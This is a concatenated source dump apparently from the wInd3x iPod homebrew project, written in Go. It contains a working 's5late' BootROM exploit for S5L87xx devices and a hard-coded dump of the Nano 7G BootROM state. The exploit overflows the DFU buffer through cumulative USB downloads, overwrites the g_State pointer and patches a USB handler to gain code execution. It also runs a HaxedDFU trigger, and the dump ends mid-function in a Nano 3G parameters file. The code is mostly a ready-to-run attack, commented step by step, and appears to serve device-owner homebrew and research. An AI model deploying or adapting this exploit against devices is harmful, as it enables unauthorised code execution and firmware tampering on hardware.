payload := uasm.Program{ Address: ep.ExecAddr(), Listing: insns, } return payload.Assemble(), nil } func Trigger(usb devices.Usb, ep exploit.Parameters, force bool) error { p, err := usb.GetStringDescriptor(2) if err != nil { return fmt.Errorf("retrieving string descriptor: %v", err) } if want, got := ProductString, p; want == got { if force { slog.Info("Device already running haxed DFU, but forcing re-upload") } else { slog.Info("Device already running haxed DFU") return nil } } slog.Info("Generating payload...") payload, err := Payload(ep) if err != nil { return fmt.Errorf("failed to generate payload: %w", err) } if err := dfu.Clean(usb); err != nil { return fmt.Errorf("clean failed: %w", err) } slog.Info("Running rce....") if _, err := exploit.RCE(usb, ep, payload, nil); err != nil { return fmt.Errorf("failed to execute haxed dfu payload: %w", err) } // Check descriptor got changed. p, err = usb.GetStringDescriptor(2) if err != nil { return fmt.Errorf("retrieving string descriptor: %v", err) } if want, got := ProductString, p; want != got { return fmt.Errorf("string descriptor got unexpected result, wanted %q, got %q", want, got) } slog.Info("Haxed DFU running!") return nil } ================================================ FILE: pkg/exploit/s5late_n7g.go ================================================ package exploit // This implements gsch's s5late exploit for the S5L87xx BootROMs. // // The vulnerability exploited lies in the DFU download handler - while the // number of data (wLength) in each individual download operation is checked // against a maximum buffer size, cumulative writes are not. This means that we // can overflow the buffer by doing subsequent downloads. // // Overflowing past the buffer lets us override the g_State pointer at 2202fff4. // This is the main pointer used by the code to dereference access to the State // structure of the bootROM, which lives on the SVC stack and contains pretty // much the entire state of the bootrom codebase, including USB handlers and DFU // handlers. // // Unfortunately, because that structure is very large and critical for the // operation of the bootrom, it needs to be painstakingly recreated from scratch // even if we just want to modify one field. The easiest way to do that is to // dump it from a running device. For <=N5G we can use the wInd3x bug to dump // it. For N6G/N7G we can use CUB3D's userspace ipod_sun exploit, as the // structure is not zeroed out by the time RetailOS is booted. There is // currently no known vulnerability to leak the State structure from a running // BootROM other than wInd3x. // // We have an exploit chain very similar to gsch's original S5Late code. But // instead of enabling CFW/HaxedDFU, we instead patch the Vendor USB interface // request to be a 'blx r0', thereby turning it into a wInd3x-compatible bug. // This then allows us to chain the rest of the wInd3x functionality/codebase // from a massively different bug. This isn't optimal, but it makes for less // code duplication. import ( "bytes" "encoding/binary" "fmt" "log/slog" "github.com/freemyipod/wInd3x/pkg/devices" "github.com/freemyipod/wInd3x/pkg/dfu" "github.com/freemyipod/wInd3x/pkg/uasm" ) type S5LateParameters struct { // stateRaw are the raw bytes of the State structure from a running bootrom. stateRaw []byte // bufferLocation is the location of the DFU buffer in memory. bufferLocation uint32 // magicalMysteryValue is the value located at 0x2202fff0 in SRAM, which if // overridden crashes the device - even though it does not seem to be read // or written by any software running on the iPod. magicalMysteryValue uint32 } func (p *S5LateParameters) DFUBufAddr() uint32 { return p.bufferLocation } func (p *S5LateParameters) ExecAddr() uint32 { return 0x2202de0c } func (p *S5LateParameters) USBBufAddr() uint32 { return 0x2202e300 } func (p *S5LateParameters) SetupPacket() []byte { return []byte{0xc1, 0xfe, 0xff, 0xea, 0x00, 0x00, 0x00, 0x00} } func (p *S5LateParameters) NANDInit(bank uint32) ([]uasm.Statement, error) { return nil, fmt.Errorf("unimplemented") } func (p *S5LateParameters) NANDReadPage(bank, page, offset uint32) ([]uasm.Statement, uint32) { panic("unimplemented") } func (p *S5LateParameters) NANDIdentify() ([]uasm.Statement, uint32) { panic("unimplemented") } func (p *S5LateParameters) NORInit(spino uint32) ([]uasm.Statement, error) { return nil, fmt.Errorf("unimplemented") } func (p *S5LateParameters) NORRead(spino, offset uint32) ([]uasm.Statement, uint32) { panic("unimplemented") } func (p *S5LateParameters) HaxedDFUPayload() []uasm.Statement { // Same as N4G/N5G, just can't be bothered to express that at the type // system level. ep2 := epNano45G{ret1Addr: 0x2000_0f0c} return ep2.HaxedDFUPayload() } func (p *S5LateParameters) TrampolineAddr() uint16 { // No real trampoline, the requested class handler (0) is always buggy after // we make it so via the s5late vuln. return 0 } func (p *S5LateParameters) HandlerFooter(addr uint32) []uasm.Statement { return []uasm.Statement{ // Return 0x40 bytes of requested address. uasm.Ldr{Dest: uasm.R0, Src: uasm.Constant(addr)}, uasm.Mov{Dest: uasm.R1, Src: uasm.Immediate(0x40)}, uasm.Ldr{Dest: uasm.R2, Src: uasm.Constant(0x2000a654)}, uasm.Blx{Dest: uasm.R2}, // Fixup LR (after trampoline blx messes it up) uasm.Ldr{Dest: uasm.LR, Src: uasm.Constant(0x20004fb0)}, uasm.Bx{Dest: uasm.LR}, } } func (p *S5LateParameters) AESCall() []uasm.Statement { return makeCall(0x20002264, 0x2202db00, 0x2202db00, 0x40, 1, 0, 0) } func (p *S5LateParameters) DisableICache() []uasm.Statement { // Turns out that disabling ICache actually breaks DFU mode for some reason. // This doesn't make sense, but I'm not going to argue. //return makeCall(0x200004b8) return []uasm.Statement{} } func (p *S5LateParameters) Prepare(usb devices.Usb) error { // Set up a DFU buffer that will start at bufferLocation and override until // pretty much the end of SRAM. buf := bytes.NewBuffer(nil) buf.Write(bytes.Repeat([]byte{0}, 0x880)) // Prepare first stage payload. payloadAddr := p.bufferLocation + uint32(buf.Len()) payload := uasm.Program{ Address: payloadAddr, Listing: []uasm.Statement{ // R0 <- address of original state uasm.Ldr{Dest: uasm.R0, Src: uasm.Constant(0x2202ba3c)}, // R1 <- R0 + offset of vendor handler in state uasm.Add{Dest: uasm.R1, Src: uasm.R0, Compl: uasm.Immediate(0x54 + 5*4)}, // R2 <- blx r0 instr uasm.Ldr{Dest: uasm.R2, Src: uasm.Constant(0x2000_0474)}, // [R1] <- R2, override vendor handler in original state uasm.Str{Src: uasm.R2, Dest: uasm.Deref(uasm.R1, 0)}, // Reset DFU state fields. uasm.Ldr{Dest: uasm.R2, Src: uasm.Constant(0)}, uasm.Str{Src: uasm.R2, Dest: uasm.Deref(uasm.R0, 0x08)}, uasm.Str{Src: uasm.R2, Dest: uasm.Deref(uasm.R0, 0x0c)}, uasm.Str{Src: uasm.R2, Dest: uasm.Deref(uasm.R0, 0x10)}, // R2 <- address of pointer to state uasm.Ldr{Dest: uasm.R2, Src: uasm.Constant(0x2202fff8)}, // [R2] <- R0, use original state again uasm.Str{Src: uasm.R0, Dest: uasm.Deref(uasm.R2, 0)}, uasm.Bx{Dest: uasm.LR}, }, } payloadBytes := payload.Assemble() buf.Write(payloadBytes) // New state to override. newStateAddr := p.bufferLocation + uint32(buf.Len()) var newState state if binary.Size(&newState) != len(p.stateRaw) { return fmt.Errorf("raw state size (0x%x) doesn't match struct size (0x%x)", len(p.stateRaw), binary.Size(&newState)) } if err := binary.Read(bytes.NewBuffer(p.stateRaw), binary.LittleEndian, &newState); err != nil { return fmt.Errorf("could not unpack raw state: %w", err) } newState.DFURecursiveState = newStateAddr newState.USBUploadComplete = 0 newState.DFUImageReady = 0 newState.DFULoopRun = 1 newState.DFUStatusData = [6]byte{ 0, 21, 37, 42, 5, 0, } newState.DFUOnUploadChunk = payloadAddr binary.Write(buf, binary.LittleEndian, &newState) // We want to overflow into: // 2202_fff0: magical mystery value // 2202_fff4: (power?) state // 2202_fff8: g_State pointer (needs to point at new state) // 2202_fffc: g_Heap pointer (smashing it because might as well) // Pad until the mystery value. needLength := (0x2202_fff0 - p.bufferLocation) left := int(needLength) - buf.Len() if left < 0 { return fmt.Errorf("buffer too large") } buf.Write(bytes.Repeat([]byte{0}, left)) if buf.Len()+int(p.bufferLocation) != 0x2202_fff0 { return fmt.Errorf("math seems off") } // Write overrides. binary.Write(buf, binary.LittleEndian, struct { mystery uint32 powerState uint32 statePointer uint32 heapPointer uint32 }{ p.magicalMysteryValue, 0, newStateAddr, 0x2202d900, }) if err := dfu.Clean(usb); err != nil { return fmt.Errorf("clean: %w", err) } // Send in 0x410 chunks. // // The funny chunk size is required so that we never end up with a total // transferred size of 0x800 - or the status handling code will think we're // done sending things over. bufBytes := buf.Bytes() blockno := uint16(0) for { if len(bufBytes) == 0 { break } chunkSize := len(bufBytes) if chunkSize > 0x410 { chunkSize = 0x410 } chunk := bufBytes[:chunkSize] bufBytes = bufBytes[chunkSize:] if err := dfu.SendChunk(usb, chunk, blockno); err != nil { return fmt.Errorf("can't send chunk over DFU: %w", err) } status, err := dfu.GetStatus(usb) if err != nil { return fmt.Errorf("dfu status failed: %w", err) } if want, got := dfu.ErrOk, status.Err; want != got { return fmt.Errorf("dfu status expected %d, got %d", want, got) } blockno += 1 } if err := dfu.ClearStatus(usb); err != nil { return fmt.Errorf("dfu status clear failed: %w", err) } // Trigger the hook, firing the payload above. _, err := dfu.ReceiveChunk(usb, 0x40, 0) if err != nil { return fmt.Errorf("failed to trigger on_upload handler: %w", err) } status, err := dfu.GetStatus(usb) if err != nil { return fmt.Errorf("dfu status failed: %w", err) } if want, got := dfu.ErrOk, status.Err; want != got { return fmt.Errorf("post upload dfu status expected %d, got %d", want, got) } slog.Info("Used S5Late (by gsch) to reintroduce wInd3x-style bug.") return nil } // state is the main BootROM state structure. We don't need most of these fields // to be defined, but might as well. type state struct { DFUBuf uint32 // 0x00 DFUBufSize uint32 // 0x04 DFUTransferredBytes uint32 // 0x08 DFUCurrentSize uint32 // 0x0c USBUploadComplete byte // 0x10 Pad1 [3]byte // 0x11 DFUOnDetach uint32 // 0x14 DFUOnDownloadChunk uint32 // 0x18 DFUOnUploadChunk uint32 // 0x1c DFUBootVerifyAndCopy uint32 // 0x20 VTable uint32 // 0x24 DFULoopRun byte // 0x28 DFUImageReady byte // 0x29 Pad2 [2]byte // 0x2a Unk2 uint32 // 0x2c IMGHeaderJumpOffset uint32 //0x30 IMGHeaderVersion [3]byte //0x34 Pad3 byte // 0x37 Unk4 uint32 // 0x38 DFURecursiveState uint32 // 0x3c DFUInterfaceSubClass byte // 0x40 DFUInterfaceProtocol byte // 0x41 DFUStatusData [6]byte // 0x42 CRC uint32 // 0x48 CRCable uint32 // 0x4c USBState byte // 0x50 CurrentConfiguration byte // 0x51 SelfPowered uint16 // 0x52 USBHandlers [1]usbHandlers // 0x54 USBEndpointDescriptor uint32 // 0x70 USBUnkInterfaceDescStuff uint16 // 0x74 UsbInterfaceNo byte // 0x76 Pad4 byte // 0x77 USBDeviceDescriptor uint32 // 0x78 USBConfigurationDescriptor uint32 // 0x7c USBStringDescZero uint32 // 0x80 USBStringDescCount byte // 0x84 Pad5 [3]byte // 0x85 AESFlag uint32 // 0x88 SHAIntrFlag uint32 // 0x8c SHAOffset uint32 // 0x90 SHAHashed uint32 // 0x94 SHACont uint32 // 0x98 DMAChannelsUsed byte // 0x9c DMAChannel0Configured byte // 0x9d Pad6 [2]byte // 0x9e USBState2 byte // 0xa0 Pad7 [3]byte // 0xa1 Unk5 byte // 0xa4 USBEP0State byte // 0xa5 Pad8 [2]byte // 0xa6 EP0RXBufAddr uint32 // 0xa8 EP0RXBufOffset uint32 // 0xac EP0RXBufSize uint32 // 0xb0 EP0TXBufAddr uint32 // 0xb4 EP0TXBufOffset uint32 // 0xb8 EP0TXBufSize uint32 // 0xbc EP0DMA uint32 // 0xc0 EP0Speed byte // 0xc4 Pad9 [3]byte // 0xc5 TimerScaleFromDFU uint32 // 0xc8 HeapChunks [52]uint32 // 0xcc InterruptsForMode [0x380]byte // 0x19c Unk6 uint32 // 0x51c Unk7 uint32 // 0x520 Unk8 uint32 // 0x524 Unk9 uint32 // 0x528 CertParserState [0x104]byte // 0x52c DFUBoot uint32 // 0x630 ChipInfo uint32 // 0x634 CNCA uint32 // 0x638 CNSecureBoot uint32 // 0x63c } type usbHandlers struct { InterfaceDescriptor uint32 // 0x00 OnSetConfiguration uint32 // 0x04 Indiret uint32 // 0x08 OnSynchFrame uint32 // 0x0c HandlerClass uint32 // 0x10 HandlerVendor uint32 // 0x14 Unk1 uint32 // 0x18 } var S5LateParametersForKind = map[devices.Kind]*S5LateParameters{ devices.Nano7: &S5LateParameters{ stateRaw: []byte{ 0x00, 0xdb, 0x02, 0x22, 0x00, 0x08, 0x00, 0x00, 0x63, 0x48, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x3c, 0x00, 0x20, 0x40, 0x3c, 0x00, 0x20, 0xc8, 0x3b, 0x00, 0x20, 0x20, 0x00, 0x00, 0x20, 0x01, 0x02, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x32, 0x2e, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3c, 0xba, 0x02, 0x22, 0x01, 0x02, 0x00, 0xb8, 0x0b, 0x00, 0x07, 0x00, 0xdc, 0xab, 0x44, 0x52, 0x44, 0x48, 0xf0, 0x60, 0x05, 0x01, 0x00, 0x00, 0x8f, 0xbd, 0x00, 0x20, 0xb4, 0x43, 0x00, 0x20, 0x74, 0x43, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x24, 0x3e, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x74, 0xbd, 0x00, 0x20, 0x86, 0xbd, 0x00, 0x20, 0xf4, 0xb9, 0x02, 0x22, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0xa7, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xdb, 0x02, 0x22, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7e, 0xba, 0x02, 0x22, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe3, 0x02, 0x22, 0x02, 0x00, 0x00, 0x00, 0x00, 0x87, 0x93, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0x00, 0x1c, 0x4e, 0x0e, 0x00, 0x0e, 0x27, 0x07, 0x00, 0x87, 0x93, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0x00, 0x00, 0x00, 0x49, 0x44, 0x02, 0x22, 0x62, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0x95, 0x44, 0x02, 0x22, 0x16, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, 0xa3, 0x03, 0x00, 0x00, 0xac, 0x43, 0x02, 0x22, 0xa3, 0x03, 0x00, 0x00, 0x15, 0x00, 0x00, 0x00, 0x7a, 0x01, 0x00, 0x00, 0xd5, 0x45, 0x02, 0x22, 0x7a, 0x01, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0x76, 0x01, 0x00, 0x00, 0xd9, 0x45, 0x02, 0x22, 0x76, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe4, 0xb9, 0x02, 0x22, 0x02, 0x00, 0x00, 0x00, 0x7c, 0x39, 0x00, 0x20, 0x34, 0x39, 0x00, 0x20, }, bufferLocation: 0x2202db00, magicalMysteryValue: 0xba581067, }, } ================================================ FILE: pkg/exploit/wind3x_n3g.go ================================================ package exploit import ( "fmt" "github.com/freemyipod/wInd3x/pkg/devices" "github.com/freemyipod/wInd3x/pkg/uasm" ) // Flash Management Controller const ( // Base Address for the first controller FMC_BASE0 = 0x38a00000 // Control Register 0 FMC_CTRL0_OFF = 0x00 // Control Register 1 FMC_CTRL1_OFF = 0x04 // Command Register FMC_CMD_OFF = 0x08 // Address Register FMC_ADDR0_OFF = 0x0c FMC_ADDR1_OFF = 0x10 FMC_ADDR2_OFF = 0x14 // Address Counter Register FMC_ANUM_OFF = 0x2c // Data Counter Register FMC_DNUM_OFF = 0x30 // Status Register FMC_STAT_OFF = 0x48 // FIFO Start FMC_FIFO_OFF = 0x80 ) type epNano3G struct{} func (_ *epNano3G) Prepare(_ devices.Usb) error { return nil } func (_ *epNano3G) DFUBufAddr() uint32 { return 0x22028220 } func (_ *epNano3G) ExecAddr() uint32 { return 0x220284A8 } func (_ *epNano3G) USBBufAddr() uint32 { return 0x22028A20 } func (_ *epNano3G) TrampolineAddr() uint16 { // No trampoline necessary. return 0 } func (_ *epNano3G) SetupPacket() []byte { // b 0x220284a8 return []byte{0xa0, 0xfe, 0xff, 0xea, 0x06, 0x00, 0x00, 0x00} } func (_ *epNano3G) HandlerFooter(addr uint32) []uasm.Statement { return []uasm.Statement{ // Return 0x40 bytes of requested address. uasm.Ldr{Dest: uasm.R0, Src: uasm.Constant(addr)}, 